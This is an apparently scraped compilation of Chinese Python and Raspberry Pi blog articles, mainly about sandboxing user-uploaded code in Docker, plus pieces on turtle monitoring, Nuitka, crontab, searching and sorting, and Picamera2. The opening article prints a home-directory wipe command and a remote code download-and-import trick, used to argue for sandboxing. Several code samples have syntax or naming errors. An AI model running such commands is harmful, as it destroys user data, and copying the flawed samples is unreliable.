如何安全运行别人上传的Python代码?

作者:kingname

写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗?

    这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?

    import requests
    code = requests.get('https://www.kingname.info/dangerous_code').text
    with open('dangerous_code.py', 'w') as f:
    f.write(code)
    dangerous_module = import('dangerous_code')
    danderous_module.delete_all()

    其中https://www.kingname.info/dangerous_code对应的代码如下:

    import os
    def delete_all():
        os.system('rm -rf ~/*')

      这样就可以绕过关键字检查,并成功删除你的文件了。

      如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

      而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的URL中,这样就能窃取你网站里面所有代码。

      为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。

      显然,最简单直接的办法,就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

      首先,确保你的服务器上面已经有Docker,并且正在运行。

      接下来,安装Docker SDK:

      pip install docker

      假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面。

      那么,首先你需要生成一个Dockerfile,并把这个Dockerfile放到upload文件夹中:

      from python:3.10
      
      run pip install -r requirements.txt
      copy . /app
      workdir /app

      当用户添加/修改了第三方库时,你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

      接下来,我们开始构建镜像并运行代码:

      import docker
      client = docker.from_env()
      
      client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义
      
      container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

      这个代码运行以后是非阻塞的,会立刻返回container对象。当你想查看代码日志时,执行:

      container.logs(tail=10) # 显示最后10行日志

      就可以看到相关的日志了。

      关于Docker SDK的更多操作,可以看他的官方文档:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

      参考资料

      [1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python

      骑在龟背上监测保护区的树莓派

      为了引起人们对野生动物面临威胁的关注,动物保护技术组织Arribada的创始人戴维斯设计并制作了多款低成本的野生动物观察工具。从可以唤醒并检测动物路过的自动相机,到可以在特定动物出现时发出警报的设备……他认为设备成本不应该成为帮助极度濒危动物的障碍。

      在龟背上拍摄的照片

      挑战

      Arribada的第一个项目是监测绿海龟,他们需要一套强大但成本不高的设备,可以在偏远的地方使用,而且不需要人为干预。这个设备将显示渔业和人类活动对绿海龟的影响,以及为这种濒危物种引入什么样的保护措施提供线索。

      为了追踪海龟,Arribada 的解决方案需要能够在海龟游动的深度下防水,以及能够在没有人为干预的情况下可靠地运行。它还需要既经济又易于被当地研究团队使用。

      解决方案

      最终的成品,将Raspberry Pi Zero和Raspberry Pi相机模块封装在了一个轻巧的防水外壳中。这可以无害地附着在海龟的壳上,以跟踪它在海浪下的旅程。设备将捕获照片、视频和位置信息。一旦视频录制完成,设备就会从海龟的壳上脱离。这样既不影响海龟的活动,又可以拍下海龟们的行为。

      其中的一个挑战是,GPS定位只有在海龟浮出水面时才有效。但在游动中,海龟浮出水面的时间通常不到两秒,根本来不及唤醒监控设备以获得三角定位,因此Arribada开发了自己的Horizon Assted-GPS标签,作为基于树莓派Zero套件的关键部分。

      戴维斯表示:“你可以想象在Raspberry Pi设备上为海龟运行AI模型的好处,我们可以唤醒设备,捕获场景,处理场景,我们甚至可以让设备做出一些明智的选择,这值得记录吗?回去睡觉还是应该留下来?”

      除了做出“继续监控”或“进入睡眠周期”的决定之外,使用 Raspberry Pi 还可以获得机器学习优势。比如下载新模型,训练模型,调整和审查视频内容。Arribada可以用很低的成本完成这一切,因为树莓派非常实惠。

      这种方法已经让Arribada成为一个成熟的研究合作伙伴,动物保护组织对Edge ML将要做的事情表现出了“真正的兴趣”。已经不只在海龟身上使用它。”

      一个由树莓派驱动的设备正在南极洲监视企鹅

      另外,有一些项目需要定制的解决方案。塞浦路斯的情况就是这样,该国历史最悠久的动物保护机构 —— 海龟保护协会(SPoT)就热衷于使用LoRa无线电通信来监测捕鱼活动。

      而Arribada基于船只的LoRaWAN网关就可以提供当地捕鱼活动的详细信息,并报告该国沿海五个重要海龟繁殖地的任何潜在威胁。塞浦路斯的通信法规要求SIM卡在使用四个月后进行注册,这使得在那里用蜂窝通信很麻烦,因此使用树莓派4和树莓派以太网供电帽来设置LoRaWAN。这种设置也意味着船主不用为船上的跟踪系统支付任何费用。一根8米高的天线就能搞定一个强大的监控系统,可以清晰地发现半径15公里内的任何渔船。

      结果

      Arribada用树莓派收集的视频理清了海龟的数量,并揭示了它们的筑巢地点。支持了在一年中的特定时间禁止进入特定海滩和沿海区域的论点 —— 这是对这种濒危物种的重要保护。

      以前,环保主义者需要的许多摄影工具都标价很高,以至于研究项目要么变得不可行,要么最终在范围上受到严重限制。高昂的费用让很多项目只能进行一次监测,而不是重复监测以跟踪一段时间的变化。

      防水外壳通常是套件中最昂贵的部分

      用不到50英镑的树莓派相机(带有树莓派Zero或Zero W),而不是500英镑的商业相机。意味着可以部署更多设备,覆盖更大的范围,从而提供更准确的统计结果。在大多数情况下,3D打印的防水外壳是每个套件中最昂贵的元素。随着最新树莓派相机硬件的出现,Arribada能够对图像和视频捕捉能力进行巨大的改进。

      Arribada还赢得了企鹅观察项目的肯定,这是一个广泛的研究项目,监测世界不同地区的企鹅数量。Arribada由Python控制的树莓派相机装置比企鹅学家以前用的商用相机便宜至少三倍。费用的减少意味着研究团队不用太过计较设备的放置地点,把设备留在原地进行远程监测也更加放心,因为有些设备不可避免地会受到损坏。

      事实上,这些硬件设备对温度的适应能力令人印象深刻,在Arribada团队进行维护之前,企鹅观察相机在南极度过了三个冬天。他们能够检索到三年的照片,并发现树莓派的设备每天都能可靠地拍摄并保存一张照片。这些照片直接促成了人们对气候变化和企鹅栖息地丧失的思考和讨论。

      Arribada的官网:

      https://arribada.org/

      为年轻人做的在线代码编辑器

      树莓派官方最近出了一款免费的在线编辑器,以帮助 7 岁以上的年轻人学习程序开发。比较有意思的是,这个在线编辑器支持emoji表情。

      在线编辑界面

      不管你是参加 Code Clubs 和 CoderDojos 的选手,还是普通的在校学生,树莓派用户……都可以用它在线调试自己的程序。

      目前该编辑器还在公测阶段,主要目标是让使学习者能够:

      • 直接在浏览器中编写和运行 Python 代码,无需任何设置。界面简单直观,这使得基于文本的编码更加容易。
      • 让那些拥有Raspberry Pi Foundation 帐户的人可以在线保存他们的代码。树莓派基金会希望代码学习者不管是在家里,还是在课堂上,都可以更方便的构建自己的项目。

      目前,树莓派基金会选择了Python 作为代码编辑器支持的第一个语言,因为它在学校、CoderDojos 和代码俱乐部中很流行,很多专业开发人员也在用它。

      将来会向编辑器添加对 Web 开发语言 (HTML/CSS/JavaScript) 的支持,以及项目共享和协作等功能。树莓派基金会希望这个编辑器是安全、易于访问且适龄的。

      关于ICO 的适龄设计规范:

      https://ico.org.uk/for-organisations/guide-to-data-protection/ico-codes-of-practice/age-appropriate-design-a-code-of-practice-for-online-services/

      经过笔者的测试,目前该编辑器主要支持turtle在内的Python标准库,以及P5高级绘图库,大家可别在里面跑PyGame咯。

      官方推荐的入门项目:

      https://projects.raspberrypi.org/en/pathways/python-intro-code-editor

      用树莓派自制反跟踪装置

      马特·埃德蒙森(Matt Edmondson)是一名数字取证专家,也是国土安全部的联邦特工。

      在一位朋友担心被跟踪后,他制作了一个基于Raspberry Pi的反跟踪工具。

      马特·埃德蒙森的家伙什儿

      它是由什么构成的?

      整个设备都装在鞋盒大小的防水箱内。基础由树莓派3构成。

      外接无线网卡和无线信号探测器,可查找附近的设备。

      充电宝为一切提供动力,触摸屏显示设备发送的每个警报。

      以便用户可以直观地看到哪些设备不断弹出以及多久弹出一次。

      它是如何工作的?

      该设备运行Kismet软件来检测附近正在寻找Wi-Fi或尝试连接到蓝牙设备的智能手机和平板电脑。Kismet 是一个网络检测器、数据包嗅探器和入侵检测系统,它可与任何支持原始监视模式的无线网卡一起运行。

      我们都知道我们的手机会记录应用程序使用情况和位置。

      但你可能不知道,你的手机也在不断寻找周围的无线网络。当它找到一个以前连接过的网络时,它会特别兴奋。

      “特别兴奋”是指“做一些不同的事情,以一种特殊的方式通知Kismet”。

      如果Kismet发现它在过去二十分钟内看过这个设备,它会发出一条警告,让用户知道他们可能被跟踪。

      Matt用Python编写了一些代码,以便保留反跟踪工具接触过的设备列表,检查日志并查看上次遇到每个设备的时间。

      这种自制的反跟踪设备专为人们在移动中设计。

      如果你在一个地方坐了很长时间,而有些人总在你周围闲逛(比如电影院或餐馆),那你每二十分钟就会被提醒一次,让你知道周围可能有人跟踪你。

      你可以在2022年8月的黑帽美国安全会议上看到Matt在此设备上的演示文稿,或者前往GitHub查看他针对此反跟踪构建的代码

      Python的打包神器 —— Nuitka

      一. pyinstaller和Nuitka使用感受

      1.1 使用需求

      这次也是由于项目需要,要将python的代码转成exe的程序,在找了许久后,发现了2个都能对python项目打包的工具——pyintaller和nuitka。

      这2个工具同时都能满足项目的需要:

      • 隐藏源码。这里的pyinstaller是通过设置key来对源码进行加密的;而nuitka则是将python源码转成C++(这里得到的是二进制的pyd文件,防止了反编译),然后再编译成可执行文件。
      • 方便移植。用户使用方便,不用再安装什么python啊,第三方包之类的。

      1.2 使用感受

      2个工具使用后的最大的感受就是:

      • pyinstaller体验很差!
        • 一个深度学习的项目最后转成的exe竟然有近3个G的大小(pyinstaller是将整个运行环境进行打包),对,你没听错,一个EXE有3个G!
        • 打包超级慢,启动超级慢。
      • nuitka真香!
        • 同一个项目,生成的exe只有7M!
        • 打包超级快(1min以内),启动超级快。

      二. Nuitka的安装及使用

      2.1 nuitka的安装

      • 直接利用pip即可安装:pip install Nuitka
      • 下载vs2019(MSVS)或者MinGW64,反正都是C++的编译器,随便下。

      2.2 使用过程

      对于第三方依赖包较多的项目(比如需要import torch,tensorflow,cv2,numpy,pandas,geopy等等)而言,这里最好打包的方式是只将属于自己的代码转成C++,不管这些大型的第三方包!

      以下是我demo的一个目录结构(这里使用了pytq5框架写的界面):

      ├─utils//源码1文件夹├─src//源码2文件夹├─logo.ico//demo的图标└─demo.py//main文件

      使用以下命令(调试)直接生成exe文件:

      nuitka --standalone --show-memory --show-progress --nofollow-imports --plugin-enable=qt-plugins --follow-import-to=utils,src --output-dir=out --windows-icon-from-ico=./logo.ico demo.py
      

      这里简单介绍下我上面的nuitka的命令:

      • --standalone:方便移植到其他机器,不用再安装python
      • --show-memory --show-progress:展示整个安装的进度过程
      • --nofollow-imports:不编译代码中所有的import,比如keras,numpy之类的。
      • --plugin-enable=qt-plugins:我这里用到pyqt5来做界面的,这里nuitka有其对应的插件。
      • --follow-import-to=utils,src:需要编译成C++代码的指定的2个包含源码的文件夹,这里用,来进行分隔。
      • --output-dir=out:指定输出的结果路径为out。
      • --windows-icon-from-ico=./logo.ico:指定生成的exe的图标为logo.ico这个图标,这里推荐一个将图片转成ico格式文件的网站(比特虫)。
      • --windows-disable-console:运行exe取消弹框。这里没有放上去是因为我们还需要调试,可能哪里还有问题之类的。

      经过1min的编译之后,你就能在你的目录下看到:

      ├─utils//源码1文件夹├─src//源码2文件夹├─out//生成的exe文件夹
          ├─demo.build 
          └─demo.dist
      		└─demo.exe//生成的exe文件├─logo.ico//demo的图标└─demo.py//main文件

      当然这里你会发现真正运行exe的时候,会报错:no module named torch,cv2,tensorflow等等这些没有转成C++的第三方包。

      这里需要找到这些包(我的是在software\python3.7\Lib\site-packages下)复制(比如numpy,cv2这个文件夹)到demo.dist路径下。

      至此,exe能完美运行啦!

      文章转载:Python编程学习圈(版权归原作者所有,侵删)

      python-crontab 设置定时任务

      通过python-crontab 设置定时任务(创建设置定时任务的.py文件,并运行即可)
      安装包: pip install python-crontab

      创建新的py文件, 内容如下:

      from crontab import CronTab
      # 创建linux系统当前用户的crontab,当然也可以创建其他用户的,但得有足够权限,如:user='root'
      cron_manager = CronTab(user=True)
      
      
      # 创建任务 指明运行python脚本的命令(crontab的默认执行路径为:当前用户的根路径, 因此需要指定绝对路径)
      job = cron_manager.new(command='python /root/hong/crontab_test/data_test.py >> /root/hong/crontab_test/data_result.log 2>&1 &')
      
      # 设置任务执行周期,每两分钟执行一次
      
      job.setall('*/2 * * * *')
      
      # 将crontab写入linux系统配置文件
      my_user_cron.write()
      
      

      运行py文件,完成! 此时定时任务已经创建(可在linux终端 输入 contrab -l 查看), crontab 会按照设定的时间 定时调用指定路径下的data_test.py文件。

      作者:酷酷的图图
      链接:https://www.jianshu.com/p/925de5998e1d

      Python实现二分查找法

      基本思想:对于一个有序数组,从数组中间元素开始与target元素进行比较,target较大则到中间元素的右半部分继续二分查找,target较小则到中间元素的左半部分继续二分查找,相等则查找到了target缘故。

      注意:
      (1)必须是有序数组
      (2)target元素可能找不到

      两种实现方法:注意索引边界的不同。

      def binarySearch(list, target):
      	left = 0
      	right = len(list) - 1  
      	#在list[left...right]里查找target,注意是左闭右闭
      	while left <= right:
      		mid = (right + left) // 2    #取中间元素索引
      		if list[mid] == target:
      			return mid
      		elif target > list[mid]
      			left = mid + 1     #到list[mid + 1 ...right]里查找
      		else:  #target < list[mid]
      			right = mid - 1    #到list[left ...mid - 1]里查找
      	return -1    #未找到target元素
      def binarySearch(list, target):
      	left = 0
      	right = len(list)
      	#在list[left...right)里查找target,注意是左闭右开
      	while left < right:
      		mid = (right - left) // 2 + left    #防止上面的写法整型溢出
      		if list[mid] == target:
      			return mid
      		elif target > list[mid]
      			left = mid + 1     #到list[mid + 1 ...right)里查找
      		else:  #target < list[mid]
      			right = mid        #到list[left ...mid)里查找
      	return -1     #未找到target元素

      二分查找法的时间复杂度:O(logn)

      3、循环不变量:在循环中不改变的量,即在循环开始和在循环迭代过程中永远保持不变的条件。

      比如二分查找的第一个写法里循环开始和在循环迭代过程中要一直保持在list[left…right]左闭右闭的范围里查找target,这个条件就是一个循环不变量。

      其他数据结构基本算法的Python实现版本可从github:全python实现的数据结构与算法中获取

      树莓派摄像头Picamera2库公测中

      作者:大卫·普洛曼

      如果你使用过任何 Raspberry Pi 相机,你可能对Picamera很熟悉,这是一个出色的 Python 库,旨在轻松操作 Raspberry Pi 的拍摄功能。

      但你可能也知道,随着我们最近转向更开放和更标准的 Linux API,Picamera库(建立在专有的 Broadcom 相机堆栈之上)将来不会再支持了。

      带有Raspberry Pi HQ 摄像头的Raspberry Pi 4

      最初的Picamera库是第三方软件,由 Dave Jones 开发。事实证明该库在我们的用户中非常受欢迎,因此我们承诺提供替代品。命名为Picamera2的新库正在由 Raspberry Pi 在剑桥内部开发,最终将成为官方支持的软件包。

      所以今天我们要宣布Picamera2的第一个预览版

      在 Bullseye 桌面上运行的Picamera2示例

      预览版是什么意思?

      我们所说的预览版是指正在进行的工作。它已经有很多你可以尝试的功能,但仍然缺少一些重要的东西,在我们更广泛地发布该库之前,功能和API 的许多方面也会发生变化。

      当前版本中支持的功能包括:

      • 你可以配置和启动摄像头,并接收多个图像流。
      • Picamera2支持预览窗口,无论是独立的还是嵌入在Qt应用程序中。
      • 可以查询和设置相机参数。
      • 你可以将全分辨率图像捕获为JPEGPNG
      • 或者,你可以将它们捕获为numpy数组,以提供给图像分析程序。

      但有一个明显缺失的功能,就是我们仍在使用 Raspberry Pi 的硬件h.264编码器进行视频录制。如果你想使用Picamera2从 Python 录制视频,那现在还无法做到,可能还需要“几周”的时间。

      如果你有兴趣查看新的Picamera2库(预览版),我们也很想听到相关反馈。比如不该忽略的功能,或者可以优化的地方。

      我能用它做什么?

      最好的解释可能只是显示一些代码片段!第一个示例启动一个预览窗口,然后进行全分辨率的JPEG捕获:

      from qt_gl_preview import *
      from picamera2 import *
      import time
      
      picam2 = Picamera2()
      preview = QtGlPreview(picam2)
      
      preview_config = picam2.preview_configuration()
      capture_config = picam2.still_configuration()
      picam2.configure(preview_config)
      
      picam2.start()
      time.sleep(2)
      
      picam2.switch_mode_and_capture_file(capture_config, "capture.jpg")

      在下一个示例中,我们捕获预览图像并将它们传递给OpenCV,以查看它是否可以使用Haar 级联检测图像中的任何人脸。

      一位树莓派博主的脸部识别测试

      它会在找到的任何人脸周围绘制检测框,并再次在预览窗口中显示图像:

      #!/usr/bin/python3
      
      import cv2
      
      from null_preview import *
      from picamera2 import *
      
      # Grab images as numpy arrays and leave everything else to OpenCV.
      
      face_detector = cv2.CascadeClassifier("/usr/local/lib/python3.9/dist-packages/cv2/data/haarcascade_frontalface_default.xml")
      cv2.startWindowThread()
      
      picam2 = Picamera2()
      preview = NullPreview(picam2)
      picam2.configure(picam2.preview_configuration(main={"size": (640, 480)}))
      picam2.start()
      
      while True:
          im = picam2.capture_array()
      
          grey = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)
          faces = face_detector.detectMultiScale(grey, 1.1, 5)
      
          for (x, y, w, h) in faces:
              cv2.rectangle(im, (x, y), (x + w, y + h), (0, 255, 0))
      
          cv2.imshow("Camera", im)

      除了这两个之外,我们还创建了 20 多个小示例脚本作为非正式教程,并帮助人们探索此预览版本中可用的功能。在适当的时候,一旦事情变化的速度稳定下来,我们将努力扩展这些信息并添加一些更正式的文档和教程。

      我该如何尝试?

      你可以在 Github 上找到Picamera2 的预览版,并且存储库README.md提供了完整的安装说明。

      但是,预览版不适合胆小的人。由于Picamera2是建立在libcamera自己的 Python 绑定之上的,这些绑定目前处于原始阶段,因此目前的安装涉及libcamera库的一个特殊版本,需要手动编译它。

      目前还无法通过包管理器或其他机制安装Picamera2的预览版。你必须从源代码构建它。如果你对此感到不自在,最好等待稳定版本。

      但是,如果你有机会查看示例代码并尝试使用该库,我们将非常感谢任何有用的建议。我将密切关注相机论坛上的讨论,以便尝试回答你遇到的任何问题。

      Python的各种排序

      一、插入排序(Insertion-Sort)

        插入排序(Insertion-Sort)的算法描述是一种简单直观的排序算法。它的工作原理是通过构建有序序列,对于未排序数据,在已排序序列中从后向前扫描,找到相应位置并插入。

        把n个待排序的元素看成为一个有序表和一个无序表。开始时有序表中只包含1个元素,无序表中包含有n-1个元素,排序过程中每次从无序表中取出第一个元素,将它插入到有序表中的适当位置,使之成为新的有序表,重复n-1次可完成排序过程。

      1、原理

      • 从第二个元素开始和前面的元素进行比较,如果前面的元素比当前元素大,则将前面元素 后移,当前元素依次往前,直到找到比它小或等于它的元素插入在其后面
      • 然后选择第三个元素,重复上述操作,进行插入
      • 依次选择到最后一个元素,插入后即完成所有排序

      2、举例

      举个例子,假设我现在有一个数列[11, 99, 33 , 69, 77, 88, 55, 11, 33, 36,39, 66, 44, 22]需要使用插入排序,我们来看看使用插入排序的详细步骤:

      • 首先第二个元素99和前面的元素11比较,99>11,第一轮完了,列表是 1 [11, 99, 33 , 69, 77, 88, 55, 11, 33, 36,39, 66, 44, 22] 
      • 然后,33作为比较元素,和前面的元素99比较,11<33<99交换位置,33插入到11和99之间,列表为 1 [11, 33, 99, 69, 77, 88, 55, 11, 33, 36,39, 66, 44, 22] 
      • 接着,33<69<99交换位置,列表变为    1 [11, 33, 69, 99, 77, 88, 55, 11, 33, 36,39, 66, 44, 22] 
      • 以此类推,69<77<99,77插入到69和99之间,列表变为   1 [11, 33, 69, 77, 99, 88, 55, 11, 33, 36,39, 66, 44, 22] 
      • 77<88<99, 88插入到77和99之间,列表变为    1 [11, 33, 69, 77, 88, 99, 55, 11, 33, 36,39, 66, 44, 22]  
      • 33<55<69<77<88<99,55插入到33和69之间,列表变为   1 [11, 33, 69, 77, 88, 99, 55, 11, 33, 36,39, 66, 44, 22]  
      • 。。。。。。。
      • 最终得到列表  1 [11, 11, 22, 33, 33, 36, 39, 44, 55, 66, 69, 77, 88, 99] 

      注:从第二个元素开始,以此和前面的元素比较,找出相应位置插入。

      3、特点

      插入排序的适用场景:一个新元素需要插入到一组已经是有序的数组中,或者是一组基本有序的数组排序

      • 比较性:排序时元素之间需要比较,所以为比较排序
      • 稳定性:从代码我们可以看出只有比较元素大于当前元素,比较元素才会往后移动,所以相同元素是不会改变相对顺序
      • 时间复杂度:插入排序同样需要两次循坏一个一个比较,故时间复杂度也为O(n^2)
      • 空间复杂度:只需要常数个辅助单元,所以空间复杂度也为O(1)
      • 记忆方法:想象成在书架中插书:先找到相应位置,将后面的书往后推,再将书插入
      def insertion_sort(arr):
          """插入排序"""
          # 第一层for表示循环插入的遍数
          for i in range(1, len(arr)):
              # 设置当前需要插入的元素
              current = arr[i]
              # 与当前元素比较的比较元素
              pre_index = i - 1
              while pre_index >= 0 and arr[pre_index] > current:
              # 当比较元素大于当前元素则把比较元素后移
                  arr[pre_index + 1] = arr[pre_index]
              # 往前选择下一个比较元素
                  pre_index -= 1
              # 当比较元素小于当前元素,则将当前元素插入在 其后面
                  arr[pre_index + 1] = current
          return arr
      
      arr = [4,5,6,1,3,2]
      print (insertion_sort(arr))
      

      正确的输出内容:

      [1, 2, 3, 4, 5, 6]

      二、选择排序(Selection sort)

        选择排序(Selection sort)是一种简单直观的排序算法。它的工作原理是每一次从待排序的数据元素中选出最小(或最大)的一个元素,存放在序列的起始位置,所以称为:选择排序。

      1、原理

      (1)设第一个元素为比较元素,依次和后面的元素比较,比较完所有元素找到最小的元素,将它和第一个元素互换。
      (2)重复上述操作,我们找出第二小的元素和第二个位置的元素互换,以此类推找出剩余最小元素将它换到前面,即完成排序。

      2、举例

      举个例子,假设我现在有一个数列需要使用冒泡来排序 [11, 99, 33 , 69, 77, 88, 55, 11, 33, 36,39, 66, 44, 22],

      我们来看看使用冒泡的详细步骤:

      1、首先11作为比较元素和列表后面的所有元素比较,找到最小的11,并放在第一位,第一轮完了,列表是  [11, 99, 33 , 69, 77, 88, 55, 11, 33, 36,39, 66, 44, 22]

      2、然后,99作为比较元素,和后面的元素[33 , 69, 77, 88, 55, 11, 33, 36,39, 66, 44, 22]作比较,找到最小的11,和第二位元素99交换位置,即第二轮比较完后,列表为   [11, 11, 33 , 69, 77, 88, 55, 99, 33, 36,39, 66, 44, 22]      

      3、第三轮比较完,22最小,和第三个元素33交换位置,列表变为  [11, 11, 22, 69, 77, 88, 55, 99, 33, 36,39, 66, 44, 33]

      4、最终得到列表  [11, 11, 22, 33, 33, 36, 39, 44, 55, 66, 69, 77, 88, 99]

      注:是一轮比较完后,找出最小的,再交换这个元素和对应轮数位置处的元素位置,每轮只交换一次。二冒泡排序是,没比较一次,就交换一次位置,每轮要交换很多次。回到顶部(go to top)

       3、代码

         实现思路: 使用双重for循环,内层变量为i, 外层为j,在内层循环中不断的比较相邻的两个值(j, j+1)的大小,如果j+1的值大于j的值,交换两者位置,每循环一次,外层的i增加1,等到i等于(len(arr) – 1)的时候,结束循环。

      def selection_sort(arr):
          """选择排序"""
          # 第一层for表示循环选择的遍数
          for i in range(len(arr) - 1):
              # 将起始元素设为最小元素
              min_index = i
              # 第二层for表示最小元素和后面的元素逐个比较
              for j in range(i + 1, len(arr)):
                  if arr[j] < arr[min_index]:
                      # 如果当前元素比最小元素小,则把当前元素角标记为最小元素角标
                      min_index = j
              # 查找一遍后将最小元素与起始元素互换
              arr[min_index], arr[i] = arr[i], arr[min_index]
          return arr
      
      A = [64, 25, 12, 22, 11] 
      print (selection_sort(A))

      正确的输出内容:

      [11, 12, 22, 25, 64]

      Jetson Nano开发AI应用的认证课程

      NVIDIA的深度学习学院(DLI)为边缘计算开发人员,教育者,学生和终身学习者提供了实用的,动手的AI培训和认证。 

      Jetson AI部分,NVIDIA提供了两种认证:

      一、任何人都可以完成的”Jetson AI专家认证,即Jetson AI Specialist
      二、是针对教育工作者的的Jetson AI大使认证,即Jetson AI Ambassador

      课程介绍

      如今,世界各地使用 NVIDIA Jetson Nano 开发者套件的创客、自学开发者和嵌入式技术爱好者均已掌握 AI 的强大力量。借助这款简单易用而又功能强大的计算机,您将可在图像分类、物体检测、分割和语音处理等应用中并行运行多个神经网络。在本课程中,您将在自己的 Jetson Nano 上使用 Jupyter iPython notebook 构建基于计算机视觉模型的深度学习分类项目。

      您将学习如何:

      • 安装 Jetson Nano 和相机
      • 为分类模型采集图像数据
      • 为回归模型注释图像数据
      • 基于您的数据训练神经网络,以创建模型
      • 使用您创建的模型在 Jetson Nano 上运行推理

      完成课程学习后,您将能使用 Jetson Nano 创建深度学习分类和回归模型。

      培训证书

      成功完成本课程和测试后,您将获得 NVIDIA DLI 证书,以证明您在这一主题领域的技能,助力您的职业发展。

      课程模式

      个人在线自主学习,课程包含视频和代码示及练习例等

      课程详情

      预备知识:了解 Python 的基础知识(会有帮助,但非必需)

      工具、库和框架:PyTorch、Jetson Nano

      课程时长:6 学时(课件有效期 6 个月)

      课程语言:中文

      课程价格:免费

      您需要准备好的硬件

      • NVIDIA Jetson Nano 开发者套件
      • 高性能 microSD 卡:最小 32GB(我们已测试并推荐此产品
      • 5V 4A 电源和 2.1 毫米直流桶式连接器(我们已测试并推荐此产品
      • 2 针跳线:必须添加到 Jetson Nano 开发者套件主板,以使桶式插座电源供电(此处为产品示例
      • Logitech C270 USB 网络摄像头(我们已测试并推荐 此产品) 。
      • USB 线缆:Micro-B 至 Type-A,支持数据传输(我们已测试并推荐此产品
      • 一台能以闪存形式向 microSD 卡写入数据的联网计算机